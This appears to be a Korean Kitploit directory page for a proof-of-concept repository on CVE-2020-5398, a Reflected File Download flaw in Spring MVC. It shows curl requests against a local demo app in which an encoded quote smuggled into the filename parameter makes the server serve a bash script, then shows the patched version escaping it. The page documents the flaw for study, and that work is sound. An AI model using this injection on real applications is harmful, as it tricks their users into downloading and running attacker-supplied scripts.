Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-5398 — CVE-2020-5398 - Spring MVC용 RFD(반사 파일 다운로드) 공격 | Kitploit
도구/GitHubGitHub/motikan2010/cve-2020-5398
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubmotikan2010/cve-2020-5398

CVE-2020-5398

CVE-2020-5398 - Spring MVC용 RFD(반사 파일 다운로드) 공격

저장소 보기
84183년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-5398 - Spring MVC용 RFD(Reflected File Download) 공격

Spring Framework 5.2.x(5.2.3 미만), 5.1.x(5.1.13 미만), 5.0.x(5.0.16 미만) 버전에서 사용자 입력에서 파생된 filename 속성을 사용하여 응답에 'Content-Disposition' 헤더를 설정하는 애플리케이션은 RFD(반영된 파일 다운로드) 공격에 취약합니다.

사용 방법

root@kitploit:~
./gradlew bootrun

127.0.0.1:8080에서 수신 대기.

root@kitploit:~
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT

Hello, World

sample.txt 파일 다운로드 시작.

PoC

안전하지 않은 버전(Spring Web 5.2.2)

root@kitploit:~
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT

#!/bin/bash
id

sample.sh 파일 다운로드 시작.(셸 파일)

안전한 버전(Spring Web 5.2.3)

root@kitploit:~
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT

#!/bin/bash
id

sample.sh";.txt 파일 다운로드 시작.(텍스트 파일)

참고 자료

  • CVE-2020-5398: RFD Attack via “Content-Disposition” Header Sourced from Request Input by Spring MVC or Spring WebFlux Application | Security | Pivotal
  • NVD - CVE-2020-5398
  • RFD 공격이란?
    • eu-14-Hafif-Reflected-File-Download-A-New-Web-Attack-Vector.pdf
    • Reflected File Download - OWASP
  • 수정 커밋
    • ContentDisposition refactoring · spring-projects/spring-framework@956ffe6
도구 다운로드